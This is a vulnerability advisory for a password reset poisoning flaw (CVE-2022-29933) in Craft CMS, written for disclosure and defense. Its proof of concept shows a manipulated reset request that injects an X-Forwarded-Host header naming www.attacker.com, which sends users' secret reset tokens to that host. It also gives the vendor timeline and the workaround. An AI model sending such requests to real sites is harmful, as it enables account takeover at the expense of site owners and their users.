SEC Consult Vulnerability Lab Security Advisory < 20220505-0 >

           title: Password Reset Poisoning Attack  
         product: Craft CMS  

vulnerable version: 3.7.36 and potentially lower
fixed version: none, see workaround by vendor
CVE number: CVE-2022-29933
impact: high
homepage: https://craftcms.com
found: 2022-03-14
by: Sandro Einfeldt (Office Munich)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Atos company  
                  Europe | Asia | North America

                  https://www.sec-consult.com

=======================================================================

Vendor description:

"Craft is a flexible, user-friendly CMS for creating custom digital
experiences on the web and beyond.

It features:

• An intuitive, user-friendly control panel for content creation and
  administrative tasks.
• A clean-slate approach to content modeling and front-end development
  that doesn’t make any assumptions about your content or how it should be
  consumed.
• A built-in Plugin Store with hundreds of free and commercial plugins,
  all just a click away.
• A robust framework for module and plugin development.
• An active, vibrant community."

Source: https://craftcms.com/docs/3.x/

Business recommendation:

The vendor responded that the vulnerability will not be fixed as a workaround
is available.

An in-depth security analysis performed by security professionals is highly
advised, as the software may be affected from further security issues.

Vulnerability overview/description:

1. Password Reset Poisoning Attack (CVE-2022-29933)
   The password reset function of the Craft CMS backend login page,
   usually accessible under https://<hostname>/index.php?p=admin/login,
   is vulnerable to a password reset poisoning attack. An unauthenticated
   attacker who knows valid email addresses or account names of Craft CMS
   backend users is able to manipulate the password reset functionality in
   a way that the registered users of the CMS receive password reset emails
   containing a malicious password reset link.

The link contains valid (secret) tokens in the URL’s GET parameters that
are necessary to authenticate against the server’s password reset function
and enable a user who lost or forgot the account’s password to reset the
password. By manipulating the password reset request, an attacker is able to
set an arbitrary hostname in the resulting password reset link. Thereby, the
attacker can set the link to point to an attacker-controlled host.
If a user clicks on the reset link, the valid reset tokens in the GET
parameters will be sent to the attacker’s web server and can be
extracted from the server logs. The attacker is able to build a valid
password reset link by adding the tokens to the general reset link
structure:

https://<hostname>/index.php?p=admin/set-password&code=<token1>&id=<token2>

If the attacker calls the filled out URL with a web browser, the
attacker will be able to reset the account’s password and log in.

Proof of concept:

1. Password Reset Poisoning Attack (CVE-2022-29933)
   First, the attacker needs to browse the following URL:

https://<hostname>/index.php?p=admin/login

The login mask contains a link "Forgot your password?". Following this
link, the attacker gets prompted to submit a valid account name or email
address. After entering the account name or email address and pressing
the “Reset Password” button, the attacker can intercept the resulting
HTTP POST request with an intercepting web proxy (e.g. BurpSuite). The
intercepted request can then be manipulated before getting forwarded
to the server. The attacker needs to add the HTTP header

X-Forwarded-Host: <attacker_host>

while the value should contain the hostname of the webserver under the
attacker’s control.

Manipulated Request:

POST /index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1
Host: <IP>
X-Forwarded-Host: www.attacker.com
[…]
Referer: http://<IP>/index.php?p=admin/login
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Registered-Asset-Bundles: ,craft\web\assets\login[…]
X-Registered-Js-Files: ,http://<IP>/cpresources/[…]
X-CSRF-Token: c9kEDPROifmFNKSKhght_JgkBgnnk5EfXiH1qHA[…]
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://<IP>
Connection: close
Cookie: CRAFT_CSRF_TOKEN=[…]

loginName=test%40example.com

The resulting server response indicates that the request has been processed.

Response:

HTTP/1.1 200 OK
Date: Mon, 14 Mar 2022 08:19:24 GMT
[…]
X-Powered-By: Craft CMS
Content-Length: 16
Connection: close
Content-Type: application/json; charset=UTF-8

{"success":true}

The user will then receive a malicious password reset email pointing to the
hostname that the attacker provided by adding the X-Forwarded-Host header.

Email:

Hey Test,

To reset your Test Install password, click on this link:

http://www.attacker.com/index.php?p=admin/set-password&code=D6HWm7pGpYEt9mb-mPVh4kGzXWZ8ax5u&id=48b9fe48-91c9-430e-baa2-5bdf66c88102

If you were not expecting this email, just ignore it.

If the user is not aware and clicks on the link, the values of the reset tokens
“code” and “id” will be sent to the attacker’s web server. The attacker is
then able to relay the tokens to the original reset endpoint and reset the
password.

Vulnerable / tested versions:

The following version has been tested and found to be vulnerable:

• 3.7.36

Vendor contact timeline:

2022-03-10: Contacting vendor through contact form.
2022-03-14: Vendor provides Craft CMS installation for verifying the vulnerability.
2022-03-22: SEC Consult provides the vulnerability advisory through contact form.
2022-03-23: Vendor responded that there is a hardening measure available.
2022-03-31: SEC Consult replied that all installations of the current version
(including the testing instance provided by the vendor) are vulnerable
by default and the vulnerability is implementation-based and results
from bad coding practices.
Until 2022-05-02: No answer from vendor.
2022-05-03: Set advisory release date to 5th May. Informing vendor about
scheduled advisory release.
2022-05-05: Release of security advisory.

Solution:

The vendor knows about the vulnerability and the resulting risks. A possible
hardening measure has to be implemented manually and is documented here:
https://craftcms.com/knowledge-base/securing-craft#explicitly-set-the-web-alias-for-the-site
https://craftcms.com/docs/3.x/sites.html#site-url

The vendor responded that the vulnerability will not be fixed as a workaround
is available.

Workaround:

The backend login interface and the password reset function should not be
accessible from the internet or from any unknown IP addresses. The user
must implement the workaround described in the hardening guide above in order
to mitigate this issue.

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

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EOF S. Einfeldt / @2022